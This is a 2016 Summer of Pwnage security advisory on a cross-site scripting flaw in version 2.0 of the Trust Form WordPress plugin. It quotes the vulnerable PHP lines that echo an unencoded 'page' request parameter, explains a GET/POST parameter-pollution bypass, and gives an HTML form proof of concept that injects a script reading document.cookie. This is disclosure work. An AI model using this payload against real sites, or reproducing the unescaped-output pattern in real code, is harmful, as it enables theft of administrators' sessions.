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Cross-Site Scripting vulnerability in Trust Form WordPress Plugin
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Yorick Koster, July 2016

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Abstract
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A Cross-Site Scripting vulnerability was found in the Trust Form
WordPress Plugin. This issue allows an attacker to perform a wide
variety of actions, such as stealing Administrators' session tokens, or
performing arbitrary actions on their behalf. In order to exploit this
issue, the attacker has to lure/force a logged on WordPress
Administrator into opening a malicious website.

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OVE ID
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OVE-20160712-0018

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Tested versions
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This issue was successfully tested on Trust Form WordPress Plugin
version 2.0.

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Fix
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There is currently no fix available.

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Details
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https://sumofpwn.nl/advisory/2016/cross_site_scripting_vulnerability_in_trust_form_wordpress_plugin.html


The issue exists in several PHP files and is caused by the lack of output encoding on the page request parameter. The vulnerable code is listed below.

edit-list.php:

<input type="hidden" name="page" value="<?php echo $_REQUEST['page']; ?>" />

entries-list.php:

<input type="hidden" name="page" value="<?php echo $_REQUEST['page'] ?>"; />

trust-form.php:

$trash_url = sprintf( '?page=%s&action=%s&form=%s&entry=%s' ,$_REQUEST['page'], 'trash', $this->id, $item['ID'] );
   
[...]
   
$read_url = sprintf( '?page=%s&action=%s&form=%s&entry=%s' ,$_REQUEST['page'], 'read', $this->id, $item['ID'] );
   
[...]
   
'view' => sprintf( '<a href="?page=%s&action=%s&form=%s&entry=%s">'.__( 'View', TRUST_FORM_DOMAIN ).'</a>', $_REQUEST['page'], 'edit', $this->id, $item['ID'] ),
   
[...]
   
$new_url = sprintf( '?page=%s&action=%s&form=%s&entry=%s' ,$_REQUEST['page'], 'new', $this->id, $item['ID'] );
   
[...]
   
'view' => sprintf( '<a href="?page=%s&action=%s&form=%s&entry=%s">'.__( 'View', TRUST_FORM_DOMAIN ).'</a>', $_REQUEST['page'], 'edit', $this->id, $item['ID'] ),
   
[...]
   
$trash_url = sprintf( '?page=%s&action=%s&form=%s&entry=%s' ,$_REQUEST['page'], 'trash', $this->id, $item['ID'] );
   
[...]
   
$read_url = sprintf( '?page=%s&action=%s&form=%s&entry=%s' ,$_REQUEST['page'], 'read', $this->id, $item['ID'] );
   
[...]
   
'view' => sprintf( '<a href="?page=%s&action=%s&form=%s&entry=%s">'.__( 'View', TRUST_FORM_DOMAIN ).'</a>', $_REQUEST['page'], 'edit', $this->id, $item['ID'] ),
   
[...]
   
$trash_url = sprintf( '?page=%s&action=%s&form=%s&entry=%s' ,$_REQUEST['page'], 'trash', $this->id, $item['ID'] );
   
[...]
   
$new_url = sprintf( '?page=%s&action=%s&form=%s&entry=%s' ,$_REQUEST['page'], 'new', $this->id, $item['ID'] );
   
[...]
   
'view' => sprintf( '<a href="?page=%s&action=%s&form=%s&entry=%s">'.__( 'View', TRUST_FORM_DOMAIN ).'</a>', $_REQUEST['page'], 'edit', $this->id, $item['ID'] ),
   
[...]
   
$delete_url = sprintf( '?page=%s&action=%s&form=%s&entry=%s' ,$_REQUEST['page'], 'delete', $this->id, $item['ID'] );
   
[...]
   
$restore_url = sprintf( '?page=%s&action=%s&form=%s&entry=%s' ,$_REQUEST['page'], 'untrash',$this->id, $item['ID'] );
   
[...]
   
$trash_url = sprintf( '?page=%s&action=%s&form=%s' ,$_REQUEST['page'], 'trash', $item['ID'] );
   
[...]
   
$duplicate_url = sprintf( '?page=%s&action=%s&form=%s', $_REQUEST['page'], 'duplicate', $item['ID'] );
   
[...]
   
'edit' => sprintf( '<a href="?page=%s&action=%s&form=%s">' .__( 'Edit', TRUST_FORM_DOMAIN ). '</a>', $_REQUEST['page'], 'edit', $item['ID'] ),
   
[...]
   
$delete_url = sprintf( '?page=%s&action=%s&form=%s' ,$_REQUEST['page'], 'delete', $item['ID'] );
   
[...]
   
$restore_url = sprintf( '?page=%s&action=%s&form=%s' ,$_REQUEST['page'], 'untrash', $item['ID'] );

Normally, the page URL parameter is validated by WordPress, which prevents Cross-Site Scripting. However in this case the value of page is obtained from $_REQUEST, not from $_GET. This allows for parameter pollution where the attacker puts a benign page value in the URL and simultaneously submits a malicious page value as POST parameter.


Proof of concept

<html>
   <body>
      <form action="http://192.168.146.137/wp-admin/admin.php?page=trust-form-edit" method="POST">
         <input type="hidden" name="page" value=""<script>alert(document.cookie);</script>" />
         <input type="submit" value="Submit request" />
      </form>
   </body>
</html>


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Summer of Pwnage (https://sumofpwn.nl) is a Dutch community project. Its
goal is to contribute to the security of popular, widely used OSS
projects in a fun and educational way.